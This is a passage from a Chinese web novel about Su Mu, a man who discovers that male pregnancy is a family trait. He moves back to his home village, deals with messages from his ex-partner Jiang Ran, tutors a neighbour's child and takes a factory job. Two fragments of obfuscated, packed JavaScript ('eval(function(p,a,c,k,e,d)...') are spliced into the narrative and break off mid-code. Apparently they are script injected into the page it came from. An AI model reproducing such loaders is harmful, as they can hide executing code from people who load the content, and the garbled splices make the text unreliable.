《因为避孕套价格飞涨所以带球跑了》 7. 回村的诱惑 苏木震惊了。 感觉被雷劈了一下足以撼动世界观根基的轰然巨响。 他呆呆地坐在病床上。 男人怀孕、家族传统、他爸妈平静的接受、他过去二十多年对自己身体的无知…… 他甚至开始有点怀疑起了人生。 哦,原来……男人生孩子,是他们苏家的家族老传统。 别人家的家族传统可能是祖传手艺、家训门风。他们家倒好,不传金不传银,不传医不传武,就传这个,传男不传女的……生育能力? 这算是哪门子的传承。 他活了二十多年,一直以为自己是个普通男人,顶多性向有点特殊,可现在告诉他,他从根子上,就跟别人不一样? 他消化了许久,才慢慢找回一点实感:“为什么……不传我点别的?把这个……传给了我?” 他的语气里带着点孩子气的控诉。 苏父听了,眉头一皱,脸上露出严肃又带着点恨铁不成钢的表情:“谁让你随便跟别人睡觉的?都跟你说过多少遍了,要矜持,要稳重,对自己负责,你倒好,不声不响,弄出这么大的事来。” 苏母连忙拉了拉丈夫的袖子,看向苏木,语气缓和了些:“是呀,小木,看着你平时不声不响的,我们还以为你木得根本没这方面的心思,这一下子……突然就怀孕了,真是吓死我们了,我跟你爸当时正在地里边掰玉米呢,接到电话,魂都飞了,撇下满地的玉米棒子,套上件衣服就往车站跑……一路上心就没定下来过。” “其实……这件事情,也不能全怪我。”苏木说,“你们要是……早点告诉我,我们家……有这个传统,我就不会……” 他绝不会那么冲动,绝不会去……睡江冉。 那是自投罗网,羊入虎口,还是把自己打包好送上门的那种,现在好了,怀上了,还是那个他最不想再有瓜葛的人的种。 苏母看着他懊恼的样子:“那你现在……打算怎么办?孩子另一个爸爸,或者妈妈……是谁呀?” 苏木盯着雪白的被单:“反正,我们都已经不在一起了,告诉……告诉他,他也不会要这个孩子的。” 江冉的家世,他的前途,他即将面临的联姻,还有他们之间那混乱不堪、根本算不得关系的关系。 江冉或许会因为愧疚或别的什么纠缠他,但绝不可能、也绝不应该,接受一个由男人生下的、来历如此尴尬的孩子。 “那你自己呢?”苏父说,“你自己……想把这个孩子留下来吗?” 父母的态度已经明了,江冉的反应可以预判,外界的眼光和现实的困难可以想见……但最终,决定权,似乎,还是落回了苏木自己手里。 留,还是不留? 苏木看着他爸,他嘴唇动了动,问出了一个听起来有点傻气、却无比真实的问题。 “爸……生孩子……疼吗?” 苏父被问得愣了一下,随即,那张一贯严肃的脸上,竟然浮现出一丝极淡的、几乎看不出来的、属于过来人的傲娇神色。 他清了清嗓子,挺了挺脊背,用一种这算什么的语气说道:“现在医学还是挺发达的,我一个大男人……当然不怕疼。” “不过嘛,要是你妈生你可能就不太一样了,所以我觉得……这样还挺好的。” 这样指的是指他们苏家男子能生育,分担了女性的生育风险?苏父那语气里,确实带着一种奇异的、混合着自豪与庆幸的复杂意味。 苏木听着,心里的某个角落,好像被轻轻触动了一下。 “那行吧,我……我也生一生吧。” 苏母在一旁听了,哭笑不得,伸手轻轻拍了他胳膊一下:“你这孩子,说什么呢?你以为生个孩子是生个萝卜呢?那么容易?生下来就得养,那是一辈子的事,是责任。” 苏木舔了舔嘴唇,抬眼看向母亲,眼神里褪去了刚才的茫然和惊惶,多了几分倔强和认真。 “我养呢,我怎么不养?我自己的孩子,我当然养。” 苏母:“行吧行吧……你想好了就行。” 苏木原本的打算,是继续留在B市,把孩子生下来。他想好了,等孩子稍微大一点,就带回凤凰村老家,到时候就跟乡亲们说,孩子他娘跑了,嫌他没出息,就剩下他们爷俩相依为命。 虽然这个说法难免会惹来闲言碎语,但总比解释男人怀孕这种惊世骇俗的事情来得正常些,也省去了很多现实的麻烦。 可这个打算,刚跟父母一提,就遭到了苏母的坚决反对。 “不行,”苏母眉头紧紧皱着,“你一个人在这里,又怀着孩子,我们怎么可能放心?万一有个头疼脑热,身边连个搭把手的人都没有!要么……” 她看了看丈夫,又看向儿子:“我们留下,在这里照顾你,家里的地,还有那点粮食,让你爸回去一趟,处理掉就是了。” 苏木一听,心里顿时涌起一阵强烈的愧疚。 父母年纪大了,本该在家里安享晚年,却因为他这档子事,要千里迢迢跑来陌生的城市,甚至可能要卖掉家里的口粮和产业,来照顾他,支持他。 他算什么儿子? 他低下头:“爸妈……我……我是不是有点太任性了?让你们这么大年纪了,还要为我操心,跑来跑去……” “说什么任性不任性的,你从小……就很乖的。学习上,从来没让我们操过心,我们知道,你一个人在这里工作,肯定不开心,你跟我们打电话都蔫蔫的。”苏父看着儿子垂下的头顶,继续说道,“要不……跟我们回老家吧?啊?回去生,回去养,家里虽然不算大富大贵,但总归是自己的地方,自在些。” 回去。 回凤凰村。 这个选项,苏木之前从未真正考虑过。 他觉得那是逃避,是承认自己在外面的失败,也担心会给父母丢脸,给家里带来更多的流言蜚语。 可此刻,听着父亲平实却充满理解的话语,再看看母亲眼中毫不掩饰的担忧和坚持。 回老家。 他没说好,也没说不好,只是用力吸了吸鼻子,把那点涌上来的酸涩压了下去。 苏木沉默了一会:“其实……我早就辞职了,不是因为怀孕,是更早之前,那份工作……我干得真的很不开心。” 他以为会迎来父母的惊讶或追问,甚至可能是一点失望,毕竟,一份体面的、在大城市的工作,是多少人求之不得的安稳。 苏母听了,语气里没有丝毫意外:“我早就知道啦,你以前都是晚上九十点才给我们打电话,声音听起来就累得不行,后来……就变成了白天打,有时候还是工作日,说话也有气无力的,不开心,就不要做了呗,憋着多难受。” 她没说为什么当初不告诉我们,也没问接下来怎么办,只是用最朴素的理解,接纳了儿子这份迟来的坦白。 “你们……不会觉得失望吗?我从毕业到现在,好像……一点成绩都没有,不像我有些同学,在大公司步步高升,或者自己创业风生水起,我……我好像什么都没做成,还把工作搞丢了。” 功成名就,光宗耀祖,这些词离他太远,他甚至觉得连安稳都没能做到。 苏父不解:“我们都没有功成名就,凭什么要求你呀?” “我跟你妈,一辈子在土里刨食,没读过多少书,也没见过多大世面,我们供你读书,不是非得指望你当大官、赚大钱,给我们脸上贴金。” “我们就想你……平平安安的,读了大学,见识了外面,能找个自己喜欢做的活计,开开心心地过日子。钱多钱少,日子总得过,既然不喜欢,咱就不干。强扭的瓜不甜,憋着干活,人也憋坏了,我就觉得……你比上次我们见你的时候,瘦了。” 苏木小声嘟囔了一句:“我最近……还胖了好几斤呢。” 又在医院观察了两天,做了几项常规检查,确认除了怀孕这个特殊情况外,身体其他方面没什么大碍,苏木便办了出院手续。 苏父苏母来的时候匆忙,除了随身一个小包袱,几乎什么都没带。 苏木领着他们,回到了自己租住的那个小单间。 房间很小,一张床、一张书桌、一个简易衣柜,几乎就占满了所有空间。 墙角堆着些还没来得及扔掉的快递箱,窗户不大,采光一般,白天也需要开灯。 苏母一进门,就忍不住皱起了眉头,她走到床边,摸了摸那床不算厚实的被子。 她没说话,只是默默地开始收拾散落在桌上的书本和杂物。 收拾了一会儿,她背对着苏木,抬手,用袖子飞快地擦了一下眼睛。 “你说……就这么屁大点的地方,转个身都费劲,挪个脚都怕碰到东西……你一个人,在这里,干着那份不开心的活……到底图个什么开心?” 苏木:“妈,这里的人都这样。” 他想起了老家,想起了凤凰村。 想起了他们家的那个大院子。院子一半是泥土地,夏天会长出青草,墙角有鸡窝,屋檐下挂着风干的玉米和辣椒。 院子很大,小时候,妈妈养过一只雪白的小兔子,放在竹笼里。 他会把兔子放出来,看着它一蹦一跳地在院子里撒欢,他就追在后面跑,笑声能惊起飞过院墙的麻雀。 阳光是暖的,风是带着青草和泥土味的,天地是开阔的,跑累了,往地上一躺,就能看见蓝得透亮的天空和慢悠悠飘过的云。 而现在,他蜗居在这个屁大点、连阳光都显得吝啬的城市角落里,像一只被困在透明罐子里的虫,挣扎着,迷茫着,甚至……身体里还孕育着一个他完全没准备好的、全新的、脆弱的生命。 于是,苏木去便利店老板打了声招呼,辞了这份短暂的夜班工作,结算工资。然后,他便跟着父母,踏上了回乡的路。 这一路,辗转漫长。 先从B市的高铁站出发,坐了几个小时的动车,抵达他们省份的省会;再从省会换乘长途大巴,摇摇晃晃地开向县城;到了县城,又挤上人声嘈杂、走走停停的城乡公交,一路颠簸着驶向镇子;最后,是苏木那位在镇上开小卖部的叔叔,开着他那辆漆皮剥落、突突作响的三轮车,把他们一家三口,连同行李,一路突突着接回了凤凰村。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回到阔别已久的家,但院子还是被打扫得干干净净。 回来后的日子,平淡而安宁。 江冉那边,没有再换着号码来骚扰他。 苏木起初还有些不习惯这种突如其来的清静,但很快就被老家缓慢的节奏和父母的关爱所包围,渐渐地将那个人、那些事抛之脑后了。 这天,父母要去收最后那点玉米。苏木觉得自己身体没什么大碍,执意要跟着去帮忙。 苏母起初不同意,怕他累着,苏木却坚持,说自己没那么脆弱,活动活动对身体也好。拗不过他,父母只好让他跟着,但只许他在旁边递递东西,不许他干重活,还给他带了零食到地里,跟带小孩一样。 秋天的阳光金灿灿的,洒在玉米地里,空气里有植物成熟后干燥温暖的气息,还有泥土被晒过后特有的、令人心安的味道。 苏木戴着草帽和手套,跟在父母身后,听着玉米叶子摩擦发出的沙沙声,看着父母熟练地掰下一个个饱满的玉米棒子。 就在这时,他放在地头外套口袋里的手机,突兀地响了起来。铃声在空旷安静的田野里,显得格外刺耳。 苏母:“小木,电话!快去接啊!别是有什么急事!” 苏木应了一声,小跑着回到地头,从外套里掏出手机。屏幕上跳动的,是一个没有备注,但归属地显示是林市的电话。 这一个松懈就接了。 “喂?”他声音因为刚才的走动有些微喘。 电话那头沉默了一两秒,然后,江冉那熟悉、却似乎压抑着什么情绪的声音,传了过来,带着点试探也有委屈。 “……你……旅游回来了吗?” 江冉这是号码都借到外省去了,人脉也太广了吧。 苏木握着手机:“……我其实,换了一个城市住。” 电话那头又是一阵沉默。 这次沉默的时间更长。 “……你骗我,就因为那次……你就那么讨厌我?讨厌到要辞职,骗我,要躲着我?” 苏木揪着旁边玉米秆上垂下的、毛茸茸的玉米须。 “江少爷,咱们这样……真的有意思吗?那晚的事,就是个意外,过去了就过去了,行吗?” “苏木,”江冉打断他,声音陡然拔高了一些,难得带着一种近乎咬牙切齿的、被激怒的强硬,“我最讨厌的,就是有人骗我,你别让我抓到你。” “我就想跟你好好聊聊那天的事,我也很乱啊……你知道吗,我还是处男,你把我第一次……就那么不清不楚地……然后你就跑了,还骗我,躲我……” 苏木听着电话那头传来的、越来越离谱、越来越超越边限的话,耳朵根子都烧了起来。 尤其是处//男那两个字,他脑子里瞬间闪过某些混乱的、带着疼痛和失控的画面,以及……某些技术层面的、生涩粗暴的细节。 原来如此……难怪…… 技术那么差。 可他也是啊。 处//男有什么高贵的。 苏木心想,江冉怎么可能知道他在凤凰村,他过来起码得转飞机,出租,大巴,公交,然后再是私人家庭工具。 不过他还是第一次见到江冉生气,那个语气,听着怎么那么劲呢,苏木搓了搓耳朵。 8. 苏木,你就是在玩弄我 苏木在家呆了一周。 日子过得像是按下了慢放键,没有闹钟,没有打卡,没有通勤,没有绩效。 每天睡到自然醒,醒来时,阳光早已透过窗帘的缝隙,在老旧但干净的木地板上投下明亮的光斑,空气里有院子里的花草香,还有厨房隐约飘来的,属于家的,令人安心的饭菜气息。 他帮着爸妈,把最后那些收回来,还没来得及完全处理的玉米,剥皮,晾晒,脱粒。 虽然父母一再不让他干重活,只让他做些轻省的,但他坚持要帮忙。三个人在院子里,坐在小板凳上,一边剥着玉米,一边有一搭没一搭地闲聊,听父母说着村里的家长里短,说着今年的收成,说着隔壁谁家的儿子又考上了公务员。 这种简单,重复,却带着泥土气息和亲情温度的劳动,奇异地抚平了他心中的焦虑褶皱。 等玉米的活彻底忙完,全家便都进入了一种真正意义上的,彻底的休息状态。 以前,苏木的父母会种很多经济作物,田里一年到头都闲不下来。但这些年,村里的年轻人大多外出,土地也渐渐集中承包了出去,他们只留下自家几块菜地,种些日常吃的蔬菜。 所以,现在的苏父苏母,确实比以前清闲了许多,也有了自己的业余生活。 苏母名叫唤珍,是个闲不住的人。每天下午,只要天气好,雷打不动地要去村里的广场上跳舞。 苏木去看过几次,小小的广场上,大多是些和他母亲年纪相仿的阿姨婶婶,也有几个年轻些的媳妇,跟着震天响的音乐,跳得热火朝天。 他妈会的舞种还挺多,不仅仅是常见的广场舞,偶尔还能跳出点民族舞的韵味,或者一些动作利落,带着点现代舞感觉的编排。 步伐熟练,笑容灿烂,在一群人里还挺显眼。苏木看着,心里觉得有点新奇,又有点骄傲,他妈还挺潮流的。 最近,他妈更是有了事业心。 附近几个村子联合要办一个广场舞大赛,他妈所在的队伍被选上了代表村里参赛。于是,每天下午的训练更加认真投入,回来还会对着手机视频反复练习,嘴里念叨着节拍,手上比划着动作,那种专注,让苏木都自叹弗如。 苏父每天下午,约上几个老伙计,在村口的小卖部里,或者谁家的堂屋里,支起一张桌子,泡上一壶浓茶打麻将,就能消磨一下午的时光。 输赢不大,图个热闹,也锻炼脑子。 他爸妈的生活节奏,并没有因为他而被打乱太多。他们依旧每天做好饭,有时候是苏木爱吃的菜,有时候是简单的家常。 做好了,也不刻意叫他,就放在锅里温着,或者摆在桌上,随便他自己什么时候起床吃,只是总是会多出一些特意为他准备的,炖得烂烂的鸡汤,清蒸的鱼,加了核桃芝麻的粥。 苏木的房间,是家里最大的一间。从他记事起就住在这里,一直到他考上大学离开。 房间里的陈设,几乎还保留着之前的样子,书架上一排排泛黄的课本和小说,床头柜上那个陪伴了他整个中学时代的,样式老旧的台灯,甚至连幼儿园时期,因为画画得了第一名而发的那张巴掌大的,边缘已经破损的奖状,都被细心地贴在了一个旧相框里,挂在墙上不起眼的角落。 这天苏木刚睡醒没多久,顶着一头睡得有些乱糟糟的头发,趿拉着拖鞋,端着一杯温热的牛奶,懒洋洋地走到院子里,在屋檐下的竹椅上坐下。 阳光正好,不烈,晒在身上暖融融的。院子里,母亲种的那些月季开得正好,红的,粉的,黄的,热热闹闹地挤在一起,散发着淡淡的甜香。 就在这时,一阵由远及近的电动车喇叭声,打破了院子的宁静。 一辆半新不旧的蓝色电动车,哧溜一下,稳稳地停在了他们家敞开的大门口。 骑车的是个穿着T恤短裤,皮肤晒成小麦色的年轻男人,还没下车,就先按了按喇叭,然后利落地支好车,朝着院子里扬声喊道。 “苏木,听说你回来了,怎么也不来我家玩?不够意思啊!” 来人是孟令轩,苏木从小一起光屁股玩到大的发小,比他大一岁,初中毕业后没再继续读书,留在了村里,现在帮着家里打理承包的土地,也跑点运输,算是村里年轻一辈里,少数几个没有外出的。 两个人,真是一起长大的。 一条田埂上跑大,一条河里扑腾大的那种交情,小时候他们都是赤着脚,挽着裤腿,在夏日午后滚烫的泥田里摸鱼抓虾,弄得浑身泥浆,然后被各自母亲揪着耳朵拎回家教训的画面。 像猴儿一样蹭蹭蹭爬上村口那棵老槐树,掏鸟窝,抓知了,比谁爬得更高,抓得更响,然后被树枝划破衣服,被知了尿滋一脸的傻气时光。 时光的河水哗啦啦地流过去,把两个光屁股的小豆丁,冲成了如今的模样。 虽然年龄一般大,只差着一岁,孟令轩初中毕业就留在了村里,帮着家里务农,跑活,早早地娶了邻村的姑娘,如今女儿都已经八岁,扎着羊角辫,会脆生生地叫“苏木叔叔”了。 苏木还记得,他考上大学那年的升学宴,和孟令轩女儿的满月酒,几乎是脚前脚后办的。 一个庆祝着奔向远方和未知,一个庆祝着生命的延续和扎根故土。 当时只觉得热闹,现在回想起来,那仿佛是两条人生路径一次分野仪式。 不过现在又交集在了一起。 孟令轩熟门熟路地推开院门走了进来,他看着苏木那副刚睡醒,头发乱翘,端着牛奶杯的懒散样子,咧嘴笑了:“听婶子说你最近在家猫着呢?怎么着,在大城市混不下去了,回村养老了?” 他语气熟稔,带着点调侃:“你之前那工作,不是听叔叔阿姨说,挺不错的嘛?坐办公室的,体面。” 苏木被他这么一问,有点不好意思地挠了挠后脑勺,脸上露出一点无奈的笑容:“哎,工作是挺不错的……就是,可能我自个儿心理素质不怎么样吧。压力大,累心。” 孟令轩走到他旁边,从旁边拉了把小板凳坐下,伸手用力拍了拍苏木的肩膀:“啥压力能把我们苏大学子逼成这样?那你们老板可真够缺德的,要我说,回来挺好的,空气好,吃得放心,人也自在,干脆啊,就别走了。” 他像是想到了什么:“哎,我跟你说,现在咱们镇上可跟以前不一样了,开了好多厂子呢,有做服装的,有做电子配件的,还有搞农产品加工的……效益都挺好的。好多原来出去打工的年轻人,都愿意回来干了,离家近,工资也不比外面差太多,关键是能守着家。” 苏木本来只是随口应和,听他这么一说,倒是真的来了点兴趣。 他这阵子在家,除了帮父母干点零碎活,大部分时间就是吃了睡,睡了吃,或者看看书,玩玩手机,确实闲得有些发慌。 尤其是下午,父母一个去跳舞训练,一个去打麻将,家里就剩他一个人,那种无所事事的感觉,反而让他心里有点空落落的。 他坐直了身体,看向孟令轩:“真的吗?镇上那些厂……有我可以干的活吗?我最近在家,确实闲得有点无聊了,我爸妈他们下午都有事,我一个人待着,怪没意思的。” 孟令轩见他感兴趣,立刻拍着胸脯打包票:“可以啊,这有什么难的,我有大就在镇上那个电子厂当个小头头,管点人事啥的,还有当厂长的,我跟他说一声,让他帮你问问,你大学生,有文化,找个坐办公室的,文书啊,统计啊,或者管管档案之类的活儿,应该没问题。” 苏木听了,心里微微一动。 他原本没想过这么快又要工作,他爸妈让他好好在家养身体,离家近,压力可能又那么大,还能有点事做,不让自己闲着胡思乱想,听起来确实不错。 苏木想了想,点点头:“也行……试试看吧。反正闲着也是闲着。” “对了,我还有好多证,说不定能用上。” “证?”孟令轩有些好奇,“啥证?毕业证那些肯定有,别的呢?” 苏木放下牛奶杯,起身:“你等着,我去拿给你看。” 他趿拉着拖鞋,啪嗒啪嗒地跑回自己房间。没过多久,就抱着一摞用文件袋装着的,有些厚度的证书走了出来。 他把那摞证书放在院子里的石桌上,一份份拿出来摊开。午后的阳光照在那些印着鎏金字迹和红色印章的纸页上,反射出一点微光。 孟令轩凑过去,一张张翻看。 有些证书的名字和内容,他看不太懂,像是些职业资格认证或者技能培训的结业证书。但有几张,他是认识的。 “教师资格证?你还考过这个?” “大学的时候闲着没事,想着多条路,就考了,不过一直没去当老师。” 孟令轩又翻到下一张:“电工证?” 再下一张:“叉车证?!!” 他抬起头,看着苏木,脸上的表情从惊讶变成了难以置信,最后化作一种带着笑意的,混合着佩服和“你行啊”的调侃:“我靠……苏木,你也太……全能了吧?这都啥时候考的?你大学到底在干啥?不是去读书,是去考证了吧?” 苏木:“就是……之前闲着没事的时候,想着技多不压身嘛,能考的都试着考了考。有些是学校组织培训考的,有些是自己报的名,没想到……还真都考过了。” 孟令轩:“行,这下更有底了,我这就给我叔打电话,咱们苏大学子,又有文化又有证,还怕找不到好活儿干?” 苏木看着孟令轩那副比自己还上心的样子,心里暖了一下,真心实意地道了声:“谢了,轩子。” 孟令轩摆摆手:“跟哥们儿客气什么。” “那个……小木啊,趁着你还没去厂里上班,先帮哥们儿一个小忙呗?” 苏木:“什么忙?” “你这不是有教师资格证嘛?又会讲题吧?教教我家那小祖宗呗,” 他边说边掏出手机,“我这就把她送过来,你是不知道,我跟她妈辅导她作业,血压都快飙到二百五了,那题讲的,能把人气得七窍生烟,你是大学生,有文化,又耐心,肯定比我们强。” 苏木一听,是辅导孩子作业。 这倒真是……赶上了。 他看着孟令轩那副苦大仇深的样子,想着自己反正下午也无聊,便点了点头:“行啊。” 就当……提前练手了。 以后自己肚子里这个出来,估计也得有这么一遭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏木被她这话逗得差点笑出声:“可不能这么说。让你爸听见了,那可得伤心死了,再说了,我白捡你这么个大闺女,你爸还不得找我拼命?” 娇娇又往苏木这边凑了凑:“叔叔,你是不是……还没谈恋爱呀?” “你长得这么帅,”娇娇眼睛亮晶晶的,“我们语文老师长得可漂亮了,头发长长的,眼睛大大的,说话声音也好听,她还没有男朋友呢。” 苏木:“…………” 他被这突如其来的做媒弄得哭笑不得,板起脸,试图转移话题:“不许说别的,快,下一题,这道应用题,再仔细读读题目。” 娇娇撇了撇嘴,但还是听话地低下头,重新去看题目了。 苏木看着小姑娘毛茸茸的发顶。小孩的世界,简单,直接,烦恼来得快,去得也快。 苏母跳舞训练回来的时候,她拎着个装水杯和扇子的小布包,推开院门,一眼就看见自家儿子正跟孟家的小丫头娇娇头碰头地凑在一起。 “哟,娇娇来啦!”苏母走过去摸了摸娇娇的羊角辫,“来找你苏木叔叔玩呢?” 娇娇抬起头,甜甜地叫了一声:“苏奶奶好!” “哎,真乖!”苏母应着,目光落在娇娇那张苹果似的小脸上:“小木啊,以后……你要是有个女儿,就好了。” “哎呀,那得多招人疼啊,小小的,软软的,给她梳两个小辫儿,穿上漂漂亮亮的小裙子,牵着她的手,在院子里走……” 苏木:“都好,都好,男孩女孩……都一样。” 下午,苏木又接连打了两个喷嚏。 正在厨房收拾的苏母听见了,立刻探出头来,脸上带着紧张:“小木?怎么了?是不是感冒了?还是觉得凉了?” 她现在是草木皆兵,生怕有闪失。 苏木:“没事,妈,可能就是……鼻子有点痒。” 估计……是江冉在哪儿,正骂他呢。 江冉那边,好像真的有点生气了。 拉黑一个号码,他就换一个新的。最新的这个陌生号码,发来的消息带上了明显的,被欺骗后的恼怒和指控。 ——苏木,你就是在玩弄我。 短短一句话,隔着屏幕都能想象出对方打出这几个字时,那副咬牙切齿,又气又恨又拿他没办法的憋屈模样。 苏木看着这条消息,指尖在屏幕上悬了一会儿。这次,他没有像之前那样,立刻条件反射地拉黑。 他甚至……有点……在等。 等那个号码,会不会再发来什么新的,气急败坏的话。 有点……想看看他还能说出什么来?这种心态,简直像是在故意逗弄一只被激怒的,却隔着栅栏够不着他的大型犬。 等娇娇的作业做得差不多了,孟令轩也掐着点来接女儿了。院子里又是一阵寒暄和告别,电动车突突的声音远去,家里重新安静下来。 苏木回到自己房间,再次拿起手机。那个陌生号码,果然又发来了两条新消息。内容无非是质问他为什么骗人,为什么躲着,等我抓到你你就完了。 他忽然觉得,自己是不是有点……或者说,有点……M? 要是换在以前江冉敢这么对他死缠烂打,信息轰炸,他早就拉黑删除一条龙,可现在,他居然……不讨厌了?甚至,还隐隐有点……享受这种,对方因为他而情绪失控,却又拿他毫无办法的感觉。 这想法让他脸上有点发热,心里唾弃了自己一句:苏木,你现在实在有点……太淫//荡了。 孕期……可能就是会有点……不一样吧。 9. 等我抓到你,我就再干你一次 孟令轩那边没过两天就有了回音,电话打过来的时候,苏木正蹲在给那几盆绿萝浇水。 他甩了甩手上的水珠,才接起来。 孟令轩的声音在那头带着点嘈杂的背景音,但语气是爽快的,说厂子里正好缺个仓管,活儿不重,就是记记账、对对货,地方也干净,问他愿不愿意,随时都能来。 苏木觉得可以。 他把这事在晚饭桌上提了。简单的三菜一汤,清炒芥蓝的梗在齿间发出脆响,话说完,饭桌上安静了几秒。 苏母先搁下了碗,她看着苏木:“在家多休息一阵不好么?你现在身体……跟旁人不一样,万一在厂里磕了碰了,可怎么好?” 她的目光不由自主地落在苏木尚且平坦的小腹,那里被宽松的家居服遮着,什么也看不出来。 苏木夹了一筷子菜,嚼了几下,咽下去:再这么呆下去,我骨头缝里都快长蘑菇了。” “轩子说了,那活儿轻松,就是坐着点点数。你和爸白天都各有各的忙,就我一个闲人,整天对着院子发呆。” “活儿轻松,也总有要动弹的时候,总之你自己心里有数,别逞强,别累着了。”苏父说,“过几天,带你去见个人。” “谁?” 苏木问。 “李医生。” 苏父吐出这个名字,语调没什么起伏,“就是当年……给我接生的那位,虽然可以退休了,但现在还给人看看诊。” 凤凰村地盘其实挺大的,沿着缓坡高低错落地散开,新旧不一的房子被田垄、池塘和纵横的小路切割成一片片。 村里姓苏的人家少,零零星星的几户,这里真正扎根蔓延的大姓是孟,祠堂修得最气派,年头最久,红白喜事摆起流水席来,能从村头热闹到村尾。 苏木家是独栋的两层小楼,带着个小小的院子。午后阳光斜斜地照进来,在水泥地上投出窗棂的格子影。 苏母收拾完碗筷,在围裙上擦了擦手,对窝在沙发里刷手机的苏木说:“下午要是没事,去你小姨家一趟,把我订的那板豆腐拿回来,晚上煎着吃。” “骑你爸那辆小电驴去,慢点。” 小姨家住在村子的另一头,靠近那片老荷塘。 苏木骑着那辆有些年头的蓝色电动车,慢悠悠地驶过晒得发白的村道。轮胎压过碎石,发出细碎的声响,路两边是收割后留着整齐稻茬的田。 风迎面吹来,带着泥土曝晒后的干爽气味和远处焚烧秸秆传来的、一丝若有若无的焦糊味,吹得他额前的头发簌簌地动,衬衫也鼓起来。 小姨正在自家院子里晾晒刚洗好的床单,花花绿绿的一片,在风里猎猎地响。 一抬头看见苏木在门口支好车走进来,她愣了一下,随即脸上绽开惊喜的笑容,湿漉漉的手在围裙上抹了抹就快步迎上来:“哎哟,小木头!你怎么回来了?” 她上下打量着苏木:“不是在B市待得好好的吗?听你妈说那工作多体面,怎么突然就跑回来了?” 苏木抬手摸了摸后颈:“没什么,就是……回来散散心,歇段时间,城里待久了,闷得慌。” “我妈让我来拿豆腐,说您新做的。” “对对,豆腐,差点忘了。” 小姨话题一转,就忘了前面在说什么,连连点头,转身往屋里走,边走边念叨,“早上刚点的卤,这会儿正嫩呢,你等着,我给你装好。” 她手脚利索地拿出一个不锈钢盆,垫上干净的屉布,捞起那板雪白方正的豆腐,小心翼翼放进去,又舀上些清水浸着。 苏木看着她忙碌的背影,想要去帮她,小姨让他去摘点菜回去。 苏木外婆那个年代生养了不少孩子,活下来的,最终留在近处的,也就他妈和小姨两个人。嫁得都不远,隔三差五能走动,互相有个照应。 豆腐用塑料袋仔细系好,挂在电动车前面的小钩子上。 苏木告别了小姨,往回骑。 傍晚的风带了点凉意,吹在背上很舒服。村舍屋顶升起袅袅的炊烟,空气里渐渐飘起饭菜的香气。 第二天一早,苏木按孟令轩给的地址,去了镇上的工业园区。 厂子大门挺新,电动伸缩门关着,只留了侧边一道小门。 旁边的门卫室里,一个大叔正对着架在窗台上的手机,手指还在屏幕上飞快地点着。 苏木走近了,才听清他嘴里嚷着:“谢谢温暖一生老铁送的火箭!谢谢了啊!家人们点点关注,咱们接着聊昨天那个……” 苏木等了一会儿,见大叔没注意到他,只好屈起手指,在开着的窗户玻璃上轻轻敲了敲。 大叔这才从手机屏幕上抬起头,看见苏木,他愣了愣,随即咧嘴笑了,对着手机说了句“家人们稍等啊,来人了”,就把手机往旁边挪了挪,摄像头歪到了一边。 “大叔,您这也太时髦了,上班还搞直播呢?” 苏木忍不住笑了笑。 门卫大叔嘿嘿笑了两声,看了好几秒,他才试探着开口,带着浓重的本地口音:“你是……苏德忠的儿子吧?” 苏木点点头:“是啊,您认识我爸?” “何止认识,” 大叔一拍大腿,声音洪亮起来,“我跟你爸是小学同学,一个班。” 他又凑近了些:“我刚瞅着就像,这眉眼,这下巴,跟你爸年轻时一个模子刻出来的,不过嘛,细看这鼻梁,这皮肤白净劲儿,又随你妈了。你妈当年可是咱们这附近有名的俊姑娘。嘿,你这长相,是会挑着长,专拣好的随!” 门卫大叔:“你是来找人的?找哪个?” “找孟厂长。”苏木回答。 “孟厂长啊,行,我给他打个电话说一声。”大叔拿起桌上那部老式电话机,拨了个短号,对着话筒说了几句,嗯嗯啊啊地应着,又抬眼看了看苏木。 挂了电话,他站起身,从墙上摘下一串钥匙,哗啦作响:“走吧,我带你过去,办公楼就前面那栋,白的,三层。” 大叔领着他穿过电动伸缩门旁边的小门,进了厂区。水泥路面很干净,两边整齐地种着些常见的绿化灌木,叶片上蒙着一层薄灰。 不远处的空地上,整齐码放着成捆的木材,还有已经切割好的床板部件,散发着一股浓郁的、属于森林的干燥香气。 办公楼门口种着两棵广玉兰,墨绿的叶子肥厚油亮,开着几朵碗口大的白花,香气甜得有些腻人。 厂长办公室在二楼尽头。 门开着,里面传来讲电话的声音。大叔在门口喊了声厂长,人带来了,里面应了一声。 苏木走进去,看见一个五十多岁的男人正放下电话。他身材敦实,穿着件半旧的POLO衫,头发梳得一丝不苟,脸盘和孟令轩有五六分相似,只是眉眼更深刻,法令纹也重,透着一股久经世事的精干与沉稳。 这就是孟令轩的大伯了。 孟厂长站起身,绕过堆着不少文件夹的办公桌走过来,脸上带着笑,但那笑意是落在眼底的,打量苏木的目光很直接,带着长辈式的友好。 “小苏是吧?令轩跟我提过了,坐,坐。” 他指了指靠墙的那排黑色人造革沙发。 苏木依言坐下,沙发有些硬,隔了一个位置,随手拿起茶几上的烟盒,抽出一支,想了想又放下。 “工作不复杂,你别有压力。” 他开门见山,语速不快,带着点本地口音,“咱们厂子你也看见了,主要就是加工床,实木的,板材的都有,你的岗位在那边办公区,” 他朝窗外某个方向扬了扬下巴:“原来是个姑娘,干得挺好,前阵子回家生孩子去了,产假挺长,这位置就空出来了,令轩说你想干一段日子,没事的,我现在都知道你们年轻人,叫gap year嘛。” 苏木心想,他们村的人实在是太时髦了。 厂长拿起桌上一个不锈钢保温杯,吹了吹浮沫,喝了一口:“你的活儿呢,就是平常帮忙整理整理票据,发票啊,出货单啊,这些纸质的东西归归类,录到电脑里。有时候也帮着打打文件,跑跑腿跟车间那边对对数。” “年轻人,脑子活,这些上手快。具体怎么弄,那边还有两个老会计,你问她们就行。” 苏木点点头,说:“好,我会尽快熟悉。” “嗯,” 孟厂长把保温杯放回桌上,“那行,我现在带你过去认认地方。” 办公区在另一栋楼的二楼,是一间敞亮的大开间,靠窗摆着七八张办公桌,有的堆着高高的账本和文件夹。 空气里有空调的凉气,也有纸张和油墨的味道。 孟厂长把他领到靠里侧一张相对干净的桌子前,桌面上只有一台略显老旧的电脑显示器,一个笔筒,一叠空白表格。 “这就是你的位置了。” 